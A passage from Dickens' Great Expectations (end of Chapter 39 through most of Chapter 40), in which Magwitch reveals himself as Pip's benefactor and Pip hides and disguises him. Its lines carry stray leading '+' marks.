neckerchief, dropping from his mouth when he opened it, and +stretched out his hand. I gave him mine, and then he drank, and +drew his sleeve across his eyes and forehead. + +"How are you living?" I asked him. + +"I've been a sheep-farmer, stock-breeder, other trades besides, +away in the new world," said he: "many a thousand mile of stormy +water off from this." + +"I hope you have done well?" + +"I've done wonderfully well. There's others went out alonger me as +has done well too, but no man has done nigh as well as me. I'm +famous for it." + +"I am glad to hear it." + +"I hope to hear you say so, my dear boy." + +Without stopping to try to understand those words or the tone in +which they were spoken, I turned off to a point that had just come +into my mind. + +"Have you ever seen a messenger you once sent to me," I inquired, +"since he undertook that trust?" + +"Never set eyes upon him. I warn't likely to it." + +"He came faithfully, and he brought me the two one-pound notes. I +was a poor boy then, as you know, and to a poor boy they were a +little fortune. But, like you, I have done well since, and you must +let me pay them back. You can put them to some other poor boy's +use." I took out my purse. + +He watched me as I laid my purse upon the table and opened it, and +he watched me as I separated two one-pound notes from its contents. +They were clean and new, and I spread them out and handed them over +to him. Still watching me, he laid them one upon the other, folded +them long-wise, gave them a twist, set fire to them at the lamp, +and dropped the ashes into the tray. + +"May I make so bold," he said then, with a smile that was like a +frown, and with a frown that was like a smile, "as ask you how you +have done well, since you and me was out on them lone shivering +marshes?" + +"How?" + +"Ah!" + +He emptied his glass, got up, and stood at the side of the fire, +with his heavy brown hand on the mantelshelf. He put a foot up to +the bars, to dry and warm it, and the wet boot began to steam; but, +he neither looked at it, nor at the fire, but steadily looked at +me. It was only now that I began to tremble. + +When my lips had parted, and had shaped some words that were +without sound, I forced myself to tell him (though I could not do +it distinctly), that I had been chosen to succeed to some property. + +"Might a mere warmint ask what property?" said he. + +I faltered, "I don't know." + +"Might a mere warmint ask whose property?" said he. + +I faltered again, "I don't know." + +"Could I make a guess, I wonder," said the Convict, "at your income +since you come of age! As to the first figure now. Five?" + +With my heart beating like a heavy hammer of disordered action, I +rose out of my chair, and stood with my hand upon the back of it, +looking wildly at him. + +"Concerning a guardian," he went on. "There ought to have been some +guardian, or such-like, whiles you was a minor. Some lawyer, maybe. +As to the first letter of that lawyer's name now. Would it be J?" + +All the truth of my position came flashing on me; and its +disappointments, dangers, disgraces, consequences of all kinds, +rushed in in such a multitude that I was borne down by them and had +to struggle for every breath I drew. + +"Put it," he resumed, "as the employer of that lawyer whose name +begun with a J, and might be Jaggers - put it as he had come over +sea to Portsmouth, and had landed there, and had wanted to come on +to you. 'However, you have found me out,' you says just now. Well! +However, did I find you out? Why, I wrote from Portsmouth to a +person in London, for particulars of your address. That person's +name? Why, Wemmick." + +I could not have spoken one word, though it had been to save my +life. I stood, with a hand on the chair-back and a hand on my +breast, where I seemed to be suffocating - I stood so, looking +wildly at him, until I grasped at the chair, when the room began to +surge and turn. He caught me, drew me to the sofa, put me up +against the cushions, and bent on one knee before me: bringing the +face that I now well remembered, and that I shuddered at, very near +to mine. + +"Yes, Pip, dear boy, I've made a gentleman on you! It's me wot has +done it! I swore that time, sure as ever I earned a guinea, that +guinea should go to you. I swore arterwards, sure as ever I +spec'lated and got rich, you should get rich. I lived rough, that +you should live smooth; I worked hard, that you should be above +work. What odds, dear boy? Do I tell it, fur you to feel a +obligation? Not a bit. I tell it, fur you to know as that there +hunted dunghill dog wot you kep life in, got his head so high that +he could make a gentleman - and, Pip, you're him!" + +The abhorrence in which I held the man, the dread I had of him, the +repugnance with which I shrank from him, could not have been +exceeded if he had been some terrible beast. + +"Look'ee here, Pip. I'm your second father. You're my son - more to +me nor any son. I've put away money, only for you to spend. When I +was a hired-out shepherd in a solitary hut, not seeing no faces but +faces of sheep till I half forgot wot men's and women's faces wos +like, I see yourn. I drops my knife many a time in that hut when I +was a-eating my dinner or my supper, and I says, 'Here's the boy +again, a-looking at me whiles I eats and drinks!' I see you there a +many times, as plain as ever I see you on them misty marshes. 'Lord +strike me dead!' I says each time - and I goes out in the air to +say it under the open heavens - 'but wot, if I gets liberty and +money, I'll make that boy a gentleman!' And I done it. Why, look at +you, dear boy! Look at these here lodgings o'yourn, fit for a lord! +A lord? Ah! You shall show money with lords for wagers, and beat +'em!" + +In his heat and triumph, and in his knowledge that I had been +nearly fainting, he did not remark on my reception of all this. It +was the one grain of relief I had. + +"Look'ee here!" he went on, taking my watch out of my pocket, and +turning towards him a ring on my finger, while I recoiled from his +touch as if he had been a snake, "a gold 'un and a beauty: that's a +gentleman's, I hope! A diamond all set round with rubies; that's a +gentleman's, I hope! Look at your linen; fine and beautiful! Look +at your clothes; better ain't to be got! And your books too," +turning his eyes round the room, "mounting up, on their shelves, by +hundreds! And you read 'em; don't you? I see you'd been a reading +of 'em when I come in. Ha, ha, ha! You shall read 'em to me, dear +boy! And if they're in foreign languages wot I don't understand, I +shall be just as proud as if I did." + +Again he took both my hands and put them to his lips, while my +blood ran cold within me. + +"Don't you mind talking, Pip," said he, after again drawing his +sleeve over his eyes and forehead, as the click came in his throat +which I well remembered - and he was all the more horrible to me +that he was so much in earnest; "you can't do better nor keep +quiet, dear boy. You ain't looked slowly forward to this as I have; +you wosn't prepared for this, as I wos. But didn't you never think +it might be me?" + +"O no, no, no," I returned, "Never, never!" + +"Well, you see it wos me, and single-handed. Never a soul in it but +my own self and Mr. Jaggers." + +"Was there no one else?" I asked. + +"No," said he, with a glance of surprise: "who else should there +be? And, dear boy, how good looking you have growed! There's bright +eyes somewheres - eh? Isn't there bright eyes somewheres, wot you +love the thoughts on?" + +O Estella, Estella! + +"They shall be yourn, dear boy, if money can buy 'em. Not that a +gentleman like you, so well set up as you, can't win 'em off of his +own game; but money shall back you! Let me finish wot I was a- +telling you, dear boy. From that there hut and that there +hiring-out, I got money left me by my master (which died, and had +been the same as me), and got my liberty and went for myself. In +every single thing I went for, I went for you. 'Lord strike a +blight upon it,' I says, wotever it was I went for, 'if it ain't +for him!' It all prospered wonderful. As I giv' you to understand +just now, I'm famous for it. It was the money left me, and the +gains of the first few year wot I sent home to Mr. Jaggers - all for +you - when he first come arter you, agreeable to my letter." + +O, that he had never come! That he had left me at the forge - far +from contented, yet, by comparison happy! + +"And then, dear boy, it was a recompense to me, look'ee here, to +know in secret that I was making a gentleman. The blood horses of +them colonists might fling up the dust over me as I was walking; +what do I say? I says to myself, 'I'm making a better gentleman nor +ever you'll be!' When one of 'em says to another, 'He was a +convict, a few year ago, and is a ignorant common fellow now, for +all he's lucky,' what do I say? I says to myself, 'If I ain't a +gentleman, nor yet ain't got no learning, I'm the owner of such. +All on you owns stock and land; which on you owns a brought-up +London gentleman?' This way I kep myself a-going. And this way I +held steady afore my mind that I would for certain come one day and +see my boy, and make myself known to him, on his own ground." + +He laid his hand on my shoulder. I shuddered at the thought that +for anything I knew, his hand might be stained with blood. + +"It warn't easy, Pip, for me to leave them parts, nor yet it warn't +safe. But I held to it, and the harder it was, the stronger I held, +for I was determined, and my mind firm made up. At last I done it. +Dear boy, I done it!" + +I tried to collect my thoughts, but I was stunned. Throughout, I +had seemed to myself to attend more to the wind and the rain than +to him; even now, I could not separate his voice from those voices, +though those were loud and his was silent. + +"Where will you put me?" he asked, presently. "I must be put +somewheres, dear boy." + +"To sleep?" said I. + +"Yes. And to sleep long and sound," he answered; "for I've been +sea-tossed and sea-washed, months and months." + +"My friend and companion," said I, rising from the sofa, "is +absent; you must have his room." + +"He won't come back to-morrow; will he?" + +"No," said I, answering almost mechanically, in spite of my utmost +efforts; "not to-morrow." + +"Because, look'ee here, dear boy," he said, dropping his voice, and +laying a long finger on my breast in an impressive manner, "caution +is necessary." + +"How do you mean? Caution?" + +"By G - , it's Death!" + +"What's death?" + +"I was sent for life. It's death to come back. There's been +overmuch coming back of late years, and I should of a certainty be +hanged if took." + +Nothing was needed but this; the wretched man, after loading +wretched me with his gold and silver chains for years, had risked +his life to come to me, and I held it there in my keeping! If I had +loved him instead of abhorring him; if I had been attracted to him +by the strongest admiration and affection, instead of shrinking +from him with the strongest repugnance; it could have been no +worse. On the contrary, it would have been better, for his +preservation would then have naturally and tenderly addressed my +heart. + +My first care was to close the shutters, so that no light might be +seen from without, and then to close and make fast the doors. While +I did so, he stood at the table drinking rum and eating biscuit; +and when I saw him thus engaged, I saw my convict on the marshes at +his meal again. It almost seemed to me as if he must stoop down +presently, to file at his leg. + +When I had gone into Herbert's room, and had shut off any other +communication between it and the staircase than through the room in +which our conversation had been held, I asked him if he would go to +bed? He said yes, but asked me for some of my "gentleman's linen" +to put on in the morning. I brought it out, and laid it ready for +him, and my blood again ran cold when he again took me by both +hands to give me good night. + +I got away from him, without knowing how I did it, and mended the +fire in the room where we had been together, and sat down by it, +afraid to go to bed. For an hour or more, I remained too stunned to +think; and it was not until I began to think, that I began fully to +know how wrecked I was, and how the ship in which I had sailed was +gone to pieces. + +Miss Havisham's intentions towards me, all a mere dream; Estella +not designed for me; I only suffered in Satis House as a +convenience, a sting for the greedy relations, a model with a +mechanical heart to practise on when no other practice was at hand; +those were the first smarts I had. But, sharpest and deepest pain +of all - it was for the convict, guilty of I knew not what crimes, +and liable to be taken out of those rooms where I sat thinking, and +hanged at the Old Bailey door, that I had deserted Joe. + +I would not have gone back to Joe now, I would not have gone back +to Biddy now, for any consideration: simply, I suppose, because my +sense of my own worthless conduct to them was greater than every +consideration. No wisdom on earth could have given me the comfort +that I should have derived from their simplicity and fidelity; but +I could never, never, undo what I had done. + +In every rage of wind and rush of rain, I heard pursuers. Twice, I +could have sworn there was a knocking and whispering at the outer +door. With these fears upon me, I began either to imagine or recall +that I had had mysterious warnings of this man's approach. That, +for weeks gone by, I had passed faces in the streets which I had +thought like his. That, these likenesses had grown more numerous, +as he, coming over the sea, had drawn nearer. That, his wicked +spirit had somehow sent these messengers to mine, and that now on +this stormy night he was as good as his word, and with me. + +Crowding up with these reflections came the reflection that I had +seen him with my childish eyes to be a desperately violent man; +that I had heard that other convict reiterate that he had tried to +murder him; that I had seen him down in the ditch tearing and +fighting like a wild beast. Out of such remembrances I brought into +the light of the fire, a half-formed terror that it might not be +safe to be shut up there with him in the dead of the wild solitary +night. This dilated until it filled the room, and impelled me to +take a candle and go in and look at my dreadful burden. + +He had rolled a handkerchief round his head, and his face was set +and lowering in his sleep. But he was asleep, and quietly too, +though he had a pistol lying on the pillow. Assured of this, I +softly removed the key to the outside of his door, and turned it on +him before I again sat down by the fire. Gradually I slipped from +the chair and lay on the floor. When I awoke, without having parted +in my sleep with the perception of my wretchedness, the clocks of +the Eastward churches were striking five, the candles were wasted +out, the fire was dead, and the wind and rain intensified the thick +black darkness. + +THIS IS THE END OF THE SECOND STAGE OF PIP'S EXPECTATIONS. + + +Chapter 40 + +It was fortunate for me that I had to take precautions to ensure +(so far as I could) the safety of my dreaded visitor; for, this +thought pressing on me when I awoke, held other thoughts in a +confused concourse at a distance. + +The impossibility of keeping him concealed in the chambers was +self-evident. It could not be done, and the attempt to do it would +inevitably engender suspicion. True, I had no Avenger in my service +now, but I was looked after by an inflammatory old female, assisted +by an animated rag-bag whom she called her niece, and to keep a +room secret from them would be to invite curiosity and +exaggeration. They both had weak eyes, which I had long attributed +to their chronically looking in at keyholes, and they were always +at hand when not wanted; indeed that was their only reliable +quality besides larceny. Not to get up a mystery with these people, +I resolved to announce in the morning that my uncle had +unexpectedly come from the country. + +This course I decided on while I was yet groping about in the +darkness for the means of getting a light. Not stumbling on the +means after all, I was fain to go out to the adjacent Lodge and get +the watchman there to come with his lantern. Now, in groping my way +down the black staircase I fell over something, and that something +was a man crouching in a corner. + +As the man made no answer when I asked him what he did there, but +eluded my touch in silence, I ran to the Lodge and urged the +watchman to come quickly: telling him of the incident on the way +back. The wind being as fierce as ever, we did not care to endanger +the light in the lantern by rekindling the extinguished lamps on +the staircase, but we examined the staircase from the bottom to the +top and found no one there. It then occurred to me as possible that +the man might have slipped into my rooms; so, lighting my candle at +the watchman's, and leaving him standing at the door, I examined +them carefully, including the room in which my dreaded guest lay +asleep. All was quiet, and assuredly no other man was in those +chambers. + +It troubled me that there should have been a lurker on the stairs, +on that night of all nights in the year, and I asked the watchman, +on the chance of eliciting some hopeful explanation as I handed him +a dram at the door, whether he had admitted at his gate any +gentleman who had perceptibly been dining out? Yes, he said; at +different times of the night, three. One lived in Fountain Court, +and the other two lived in the Lane, and he had seen them all go +home. Again, the only other man who dwelt in the house of which my +chambers formed a part, had been in the country for some weeks; and +he certainly had not returned in the night, because we had seen his +door with his seal on it as we came up-stairs. + +"The night being so bad, sir," said the watchman, as he gave me +back my glass, "uncommon few have come in at my gate. Besides them +three gentlemen that I have named, I don't call to mind another +since about eleven o'clock, when a stranger asked for you." + +"My uncle," I muttered. "Yes." + +"You saw him, sir?" + +"Yes. Oh yes." + +"Likewise the person with him?" + +"Person with him!" I repeated. + +"I judged the person to be with him," returned the watchman. "The +person stopped, when he stopped to make inquiry of me, and the +person took this way when he took this way." + +"What sort of person?" + +The watchman had not particularly noticed; he should say a working +person; to the best of his belief, he had a dust-coloured kind of +clothes on, under a dark coat. The watchman made more light of the +matter than I did, and naturally; not having my reason for +attaching weight to it. + +When I had got rid of him, which I thought it well to do without +prolonging explanations, my mind was much troubled by these two +circumstances taken together. Whereas they were easy of innocent +solution apart - as, for instance, some diner-out or diner-at-home, +who had not gone near this watchman's gate, might have strayed to +my staircase and dropped asleep there - and my nameless visitor +might have brought some one with him to show him the way - still, +joined, they had an ugly look to one as prone to distrust and fear +as the changes of a few hours had made me. + +I lighted my fire, which burnt with a raw pale flare at that time +of the morning, and fell into a doze before it. I seemed to have +been dozing a whole night when the clocks struck six. As there was +full an hour and a half between me and daylight, I dozed again; +now, waking up uneasily, with prolix conversations about nothing, +in my ears; now, making thunder of the wind in the chimney; at +length, falling off into a profound sleep from which the daylight +woke me with a start. + +All this time I had never been able to consider my own situation, +nor could I do so yet. I had not the power to attend to it. I was +greatly dejected and distressed, but in an incoherent wholesale +sort of way. As to forming any plan for the future, I could as soon +have formed an elephant. When I opened the shutters and looked out +at the wet wild morning, all of a leaden hue; when I walked from +room to room; when I sat down again shivering, before the fire, +waiting for my laundress to appear; I thought how miserable I was, +but hardly knew why, or how long I had been so, or on what day of +the week I made the reflection, or even who I was that made it. + +At last, the old woman and the niece came in - the latter with a +head not easily distinguishable from her dusty broom - and +testified surprise at sight of me and the fire. To whom I imparted +how my uncle had come in the night and was then asleep, and how the +breakfast preparations were to be modified accordingly. Then, I +washed and dressed while they knocked the furniture about and made +a dust; and so, in a sort of dream or sleep-waking, I found myself +sitting by the fire again, waiting for - Him - to come to +breakfast. + +By-and-by, his door opened and he came out. I could not bring +myself to bear the sight of him, and I thought he had a worse look +by daylight. + +"I do not even know," said I, speaking low as he took his seat at +the table, "by what name to call you. I have given out that you are +my uncle." + +"That's it, dear boy! Call me uncle." + +"You assumed some name, I suppose, on board ship?" + +"Yes, dear boy. I took the name of Provis." + +"Do you mean to keep that name?" + +"Why, yes, dear boy, it's as good as another - unless you'd like +another." + +"What is your real name?" I asked him in a whisper. + +"Magwitch," he answered, in the same tone; "chrisen'd Abel." + +"What were you brought up to be?" + +"A warmint, dear boy." + +He answered quite seriously, and used the word as if it denoted +some profession. + +"When you came into the Temple last night--" said I, pausing to +wonder whether that could really have been last night, which seemed +so long ago. + +"Yes, dear boy?" + +"When you came in at the gate and asked the watchman the way here, +had you any one with you?" + +"With me? No, dear boy." + +"But there was some one there?" + +"I didn't take particular notice," he said, dubiously, "not knowing +the ways of the place. But I think there was a person, too, come in +alonger me." + +"Are you known in London?" + +"I hope not!" said he, giving his neck a jerk with his forefinger +that made me turn hot and sick. + +"Were you known in London, once?" + +"Not over and above, dear boy. I was in the provinces mostly." + +"Were you - tried - in London?" + +"Which time?" said he, with a sharp look. + +"The last time." + +He nodded. "First knowed Mr. Jaggers that way. Jaggers was for me." + +It was on my lips to ask him what he was tried for, but he took up +a knife, gave it a flourish, and with the words, "And what I done +is worked out and paid for!" fell to at his breakfast. + +He ate in a ravenous way that was very disagreeable, and all his +actions were uncouth, noisy, and greedy. Some of his teeth had +failed him since I saw him eat on the marshes, and as he turned his +food in his mouth, and turned his head sideways to bring his +strongest fangs to bear upon it, he looked terribly like a hungry old +dog. If I had begun with any appetite, he would have taken it away, +and I should have sat much as I did - repelled from him by an +insurmountable aversion, and gloomily looking at the cloth. + +"I'm a heavy grubber, dear boy," he said, as a polite kind of +apology when he made an end of his meal, "but I always was. If it +had been in my constitution to be a lighter grubber, I might ha' +got into lighter trouble. Similarly, I must have my smoke. When I +was first hired out as shepherd t'other side the world, it's my +belief I should ha' turned into a molloncolly-mad sheep myself, if +I hadn't a had my smoke." + +As he said so, he got up from the table, and putting his hand into the +breast of the pea-coat he wore, brought out a short black pipe, and +a handful of loose tobacco of the kind that is called Negro-head. +Having filled his pipe, he put the surplus tobacco back again, as +if his pocket were a drawer. Then, he took a live coal from the +fire with the tongs, and lighted his pipe at it, and then turned +round on the hearth-rug with his back to the fire, and went through +his favourite action of holding out both his hands for mine. + +"And this," said he, dandling my hands up and down in his, as he +puffed at his pipe; "and this is the gentleman what I made! The +real genuine One! It does me good fur to look at you, Pip. All I +stip'late, is, to stand by and look at you, dear boy!" + +I released my hands as soon as I could, and found that I was +beginning slowly to settle down to the contemplation of my +condition. What I was chained to, and how heavily, became +intelligible to me, as I heard his hoarse voice, and sat looking up +at his furrowed bald head with its iron grey hair at the sides. + +"I mustn't see my gentleman a footing it in the mire of the +streets; there mustn't be no mud on his boots. My gentleman must +have horses, Pip! Horses to ride, and horses to drive, and horses +for his servant to ride and drive as well. Shall colonists have +their horses (and blood 'uns, if you please, good Lord!) and not my +London gentleman? No, no. We'll show 'em another pair of shoes than +that, Pip; won't us?" + +He took out of his pocket a great thick pocket-book, bursting with +papers, and tossed it on the table. + +"There's something worth spending in that there book, dear boy. +It's yourn. All I've got ain't mine; it's yourn. Don't you be +afeerd on it. There's more where that come from. I've come to the +old country fur to see my gentleman spend his money like a +gentleman. That'll be my pleasure. My pleasure 'ull be fur to see +him do it. And blast you all!" he wound up, looking round the room +and snapping his fingers once with a loud snap, "blast you every +one, from the judge in his wig, to the colonist a stirring up the +dust, I'll show a better gentleman than the whole kit on you put +together!" + +"Stop!" said I, almost in a frenzy of fear and dislike, "I want to +speak to you. I want to know what is to be done. I want to know how +you are to be kept out of danger, how long you are going to stay, +what projects you have." + +"Look'ee here, Pip," said he, laying his hand on my arm in a +suddenly altered and subdued manner; "first of all, look'ee here. I +forgot myself half a minute ago. What I said was low; that's what +it was; low. Look'ee here, Pip. Look over it. I ain't a-going to be +low." + +"First," I resumed, half-groaning, "what precautions can be taken +against your being recognized and seized?" + +"No, dear boy," he said, in the same tone as before, "that don't go +first. Lowness goes first. I ain't took so many years to make a +gentleman, not without knowing what's due to him. Look'ee here, +Pip. I was low; that's what I was; low. Look over it, dear boy." + +Some sense of the grimly-ludicrous moved me to a fretful laugh, as +I replied, "I have looked over it. In Heaven's name, don't harp +upon it!" + +"Yes, but look'ee here," he persisted. "Dear boy, I ain't come so +fur, not fur to be low. Now, go on, dear boy. You was a-saying--" + +"How are you to be guarded from the danger you have incurred?" + +"Well, dear boy, the danger ain't so great. Without I was informed +agen, the danger ain't so much to signify. There's Jaggers, and +there's Wemmick, and there's you. Who else is there to inform?" + +"Is there no chance person who might identify you in the street?" +said I. + +"Well," he returned, "there ain't many. Nor yet I don't intend to +advertise myself in the newspapers by the name of A. M. come back +from Botany Bay; and years have rolled away, and who's to gain by +it? Still, look'ee here, Pip. If the danger had been fifty times as +great, I should ha' come to see you, mind you, just the same." + +"And how long do you remain?" + +"How long?" said he, taking his black pipe from his mouth, and +dropping his jaw as he stared at me. "I'm not a-going back. I've +come for good." + +"Where are you to live?" said I. "What is to be done with you? +Where will you be safe?" + +"Dear boy," he returned, "there's disguising wigs can be bought for +money, and there's hair powder, and spectacles, and black clothes - +shorts and what not. Others has done it safe afore, and what others +has done afore, others can do agen. As to the where and how of +living, dear boy, give me your own opinions on it." + +"You take it smoothly now," said I, "but you were very serious last +night, when you swore it was Death." + +"And so I swear it is Death," said he, putting his pipe back in his +mouth, "and Death by the rope, in the open street not fur from +this, and it's serious that you should fully understand it to be +so. What then, when that's once done? Here I am. To go back now, +'ud be as bad as to stand ground - worse. Besides, Pip, I'm here, +because I've meant it by you, years and years. As to what I dare, +I'm a old bird now, as has dared all manner of traps since first he +was fledged, and I'm not afeerd to perch upon a scarecrow. If +there's Death hid inside of it, there is, and let him come out, and +I'll face him, and then I'll believe in him and not afore. And now +let me have a look at my gentleman agen." + +Once more, he took me by both hands and surveyed me with an air of +admiring proprietorship: smoking with great complacency all the +while. + +It appeared to me that I could do no better than secure him some +quiet lodging hard by, of which he might take possession when +Herbert returned: whom I expected in two or three days. That the +secret must be confided to Herbert as a matter of unavoidable +necessity, even if I could have put the immense relief I should +derive from sharing it with him out of the question, was plain to +me. But it was by no means so plain to Mr. Provis (I resolved to +call him by that name), who reserved his consent to Herbert's +participation until he should have seen him and formed a favourable +judgment of his physiognomy. "And even then, dear boy," said he, +pulling a greasy little clasped black Testament out of his pocket, +"we'll have him on his oath." + +To state that my terrible patron carried this little black book +about the world solely to swear people on in cases of emergency, +would be to state what I never quite established - but this I can +say, that I never knew him put it to any other use. The book itself +had the appearance of having been stolen from some court of +justice, and perhaps his knowledge of its antecedents, combined +with his own experience in that wise, gave him a reliance on its +powers as a sort of legal spell or charm. On this first occasion of +his producing it, I recalled how he had made me swear fidelity in +the churchyard long ago, and how he had described himself last +night as always swearing to his resolutions in his solitude. + +As he was at present dressed in a seafaring slop suit, in which he +looked as if he had some parrots and cigars to dispose of, I next +discussed with him what dress he should wear. He cherished an +extraordinary belief in the virtues of "shorts" as a disguise, and +had in his own mind sketched a dress for himself that would have +made him something between a dean and a dentist. It was with +considerable difficulty that I won him over to the assumption of a +dress more like a prosperous farmer's; and we arranged that he +should cut his hair close, and wear a little powder. Lastly, as he +had not yet been seen by the laundress or her niece, he was to keep +himself out of their view until his change of dress was made. + +It would seem a simple matter to decide on these precautions; but +in my dazed, not to say distracted, state, it took so long, that I +did not get out to further them, until two or three in the +afternoon. He was to remain shut up in the chambers while I was +gone, and was on no account to open the door. + +There being to my knowledge a respectable lodging-house in +Essex-street, the back of which looked into the Temple, and was +almost within hail of my windows, I first of all repaired to that +house, and was so fortunate as to secure the second floor for my +uncle, Mr. Provis. I then went from shop to shop, making such +purchases as were necessary to the change in his appearance. This +business transacted, I turned my face, on my own account, to Little +Britain. Mr. Jaggers was at his desk, but, seeing me enter, got up +immediately and stood before his fire. + +"Now, Pip," said he, "be careful." + +"I will, sir," I returned. For, coming along I had thought well of +what I was going to say. + +"Don't commit yourself," said Mr. Jaggers, "and don't commit any +one. You understand - any one. Don't tell me anything: I don't want +to know anything; I am not curious." + +Of course I saw that he knew the man was come. + +"I merely want, Mr. Jaggers," said I, "to assure myself that what I +have been told, is true. I have no hope of its being untrue, but at +least I may verify it." + +Mr. Jaggers nodded. "But did you say 'told' or 'informed'?" he asked +me, with his head on one side, and not looking at me, but looking +in a listening way at the floor. "Told would seem to imply verbal +communication. You can't have verbal communication with a man in +New South Wales, you know." + +"I will say, informed, Mr. Jaggers." + +"Good." + +"I have been informed by a person named Abel Magwitch, that he is +the benefactor so long unknown to me." + +"That is the man," said Mr. Jaggers, " - in New South Wales." + +"And only he?" said I. + +"And only he," said Mr. Jaggers. + +"I am not so unreasonable, sir, as to think you at all responsible +for my mistakes and wrong conclusions; but I always supposed it was +Miss Havisham." + +"As you say, Pip," returned Mr. Jaggers, turning his eyes upon me +coolly, and taking a bite at his forefinger, "I am not at all +responsible for that." + +"And yet it looked so like it, sir," I pleaded with a downcast +heart. + +"Not a particle of evidence, Pip," said Mr. Jaggers, shaking his +head and gathering up his skirts. "Take nothing on its looks; take +everything on evidence. There's no better rule." + +"I have no more to say," said I, with a sigh, after standing silent +for a little while. "I have verified my information, and there's an +end." + +"And Magwitch - in New South Wales - having at last disclosed +himself," said Mr. Jaggers, "you will comprehend, Pip, how rigidly +throughout my communication with you, I have always adhered to the +strict line of fact. There has never been the least departure from +the strict line of fact. You are quite aware of that?" + +"Quite, sir." + +"I communicated to Magwitch - in New South Wales - when he first +wrote to me - from New South Wales - the caution that he must not +expect me ever to deviate from the strict line of fact. I also +communicated to him another caution. He appeared to me to have +obscurely hinted in his letter at some distant idea he had of +seeing you in England here. I cautioned him that I must hear no +more of that; that he was not at all likely to obtain a pardon; +that he was expatriated for the term of his natural life; and that +his presenting himself in this country would be an act of felony, +rendering him liable to the extreme penalty of the law. I gave +Magwitch that caution," said Mr. Jaggers, looking hard at me; "I +wrote it to New South Wales. He guided himself by it, no doubt." + +"No doubt," said I. + +"I have been informed by Wemmick," pursued Mr. Jaggers, still +looking hard at me, "that he has received a letter, under date +Portsmouth, from a colonist of the name of Purvis, or--" + +"Or Provis," I suggested. + +"Or Provis - thank you, Pip. Perhaps it is Provis? Perhaps you know +it's Provis?" + +"Yes," said I. + +"You know it's Provis. A letter, under date Portsmouth, from a +colonist of the name of Provis, asking for the particulars of your +address, on behalf of Magwitch. Wemmick sent him the particulars, I +understand, by return of post. Probably it is through Provis that +you have received the explanation of Magwitch - in New South +Wales?" + +"It came through Provis," I replied. + +"Good day, Pip," said Mr. Jaggers, offering his hand; "glad to have +seen you. In writing by post to Magwitch - in New South Wales - or +in communicating with him through Provis, have the goodness to +mention that the particulars and vouchers of our long account shall +be sent to you, together with the balance; for there is still a +balance remaining. Good day, Pip!" + +We shook hands, and he looked hard at me as long as he could see +me. I turned at the door, and he was still looking hard at me, +while the two vile casts on the shelf seemed to be trying to get +their eyelids open, and to force out of their swollen throats, "O, +what a man he is!" + +Wemmick was out, and though he had been at his desk he could have +done nothing for me. I went straight back to the Temple, where I +found the terrible Provis drinking rum-and-water and smoking +negro-head, in safety. + +Next day the clothes I had ordered, all came home, and he put them +on. Whatever he put on, became him less (it dismally seemed to me) +than what he had worn before. To my thinking, there was something +in him that made it hopeless to attempt to disguise him. The more I +dressed him and the better I dressed him, the more he looked like +the slouching fugitive on the marshes. This effect on my anxious +fancy was partly referable, no doubt, to his old face and manner +growing more familiar to me; but I believe too that he dragged one +of his legs as if there were still a weight of iron on it, and that +from head to foot there was Convict in the very grain of the man. + +The influences of his solitary hut-life were upon him besides, and +gave him a savage air that no dress could tame; added to these, +were the influences of his subsequent branded life among men, and, +crowning all, his consciousness that he was dodging and hiding now. +In all his ways of sitting and standing, and eating and drinking - +of brooding about, in a high-shouldered reluctant style - of taking +out his great horn-handled jack-knife and wiping it on his legs and +cutting his food - of lifting light glasses and cups to his lips, +as if they were clumsy pannikins - of chopping a wedge off his +bread, and soaking up with it the last fragments of gravy round and +round his plate, as if to make the most of an allowance, and then +drying his finger-ends on it, and then swallowing it - in these +ways and a thousand other small nameless instances arising every +minute in the day, there was Prisoner, Felon, Bondsman, plain as +plain could be. + +It had been his own idea to wear that touch of powder, and I had +conceded the powder after overcoming the shorts. But I can compare +the effect of it, when on, to nothing but the probable effect of +rouge upon the dead; so awful was the manner in which everything in +him that it was most desirable to repress, started through that +thin layer of pretence, and seemed to come blazing out at the crown +of his head. It was abandoned as soon as tried, and he wore his +grizzled hair cut short. + +Words cannot tell what a sense I had, at the same time, of the +dreadful mystery that he was to me. When he fell asleep of an +evening, with his knotted hands clenching the sides of the +easy-chair, and his bald head tattooed with deep wrinkles falling +forward on his breast, I would sit and look at him, wondering what +he had done, and loading him with all the crimes in the Calendar, +until the impulse was powerful on me to start up and fly from him. +Every hour so increased my abhorrence of him, that I even think I +might have yielded to this impulse in the first agonies of being so +haunted, notwithstanding all he had done for me, and the risk he +ran, but for the knowledge that Herbert must soon come back. Once, +I actually did start out of bed in the night, and begin to dress +myself in my worst clothes, hurriedly intending to leave him there +with everything else I possessed, and enlist for India as a private +soldier. + +I doubt if a ghost could have been more terrible to me, up in those +lonely rooms in the long evenings and long nights, with the wind +and the rain always rushing by. A ghost could not have been taken +and hanged on my account, and the consideration that he could be, +and the dread that he would be, were no small addition to my +horrors. When he was not asleep, or playing a complicated kind of +patience with a ragged pack of cards of his own - a game that I +never saw before or since, and in which he recorded his winnings by +sticking his jack-knife into the table - when he was not engaged in +either of these pursuits, he would ask me to read to him - "Foreign +language, dear boy!" While I complied, he, not comprehending a +single word, would stand before the fire surveying me with the air +of an Exhibitor, and I would see him, between the fingers of the +hand with which I shaded my face, appealing in dumb show to the +furniture to take notice of my proficiency. The imaginary student +pursued by the misshapen creature he had impiously made, was not +more wretched than I, pursued by the creature who had made me, and +recoiling from him with a stronger repulsion, the more he admired +me and the fonder he was of me. + +This is written of, I am sensible, as if it had lasted a year. It +lasted about five days. Expecting Herbert all the time, I dared not +go out, except when I took Provis for an airing after dark. At +length, one evening when dinner was over and I had dropped into a +slumber quite worn out - for my nights had been agitated and my +rest broken by fearful dreams - I was roused by the welcome +footstep on the staircase. Provis, who had been asleep too, +staggered up at the noise I made, and in an instant I saw his +jack-knife shining in his hand. + +"Quiet! It's Herbert!" I said; and Herbert came bursting in, with +the airy freshness of six hundred miles of France upon him. + +"Handel, my dear fellow, how are you, and again how are you, and +again how are you? I seem to have been gone a twelvemonth! Why, so I +must have been, for you have grown quite thin and pale! Handel, my - +Halloa! I beg your pardon." + +He was stopped in his running on and in his shaking hands with me, +by seeing Provis. Provis, regarding him with a fixed attention, was +slowly putting up his jack-knife, and groping in another pocket for +something else. + +"Herbert, my dear friend," said I, shutting the double doors, while +Herbert stood staring and wondering, "something very strange has +happened. This is - a visitor of mine." + +"It's all right, dear boy!" said Provis coming forward, with his +little clasped black book, and then addressing himself to Herbert. +"Take it in your right hand. Lord strike you dead on the spot, if +ever you split in any way sumever! Kiss it!" + +"Do so, as he wishes it," I said to Herbert. So, Herbert, looking +at me with a friendly uneasiness and amazement, complied, and +Provis immediately shaking hands with him, said, "Now you're on +your oath, you 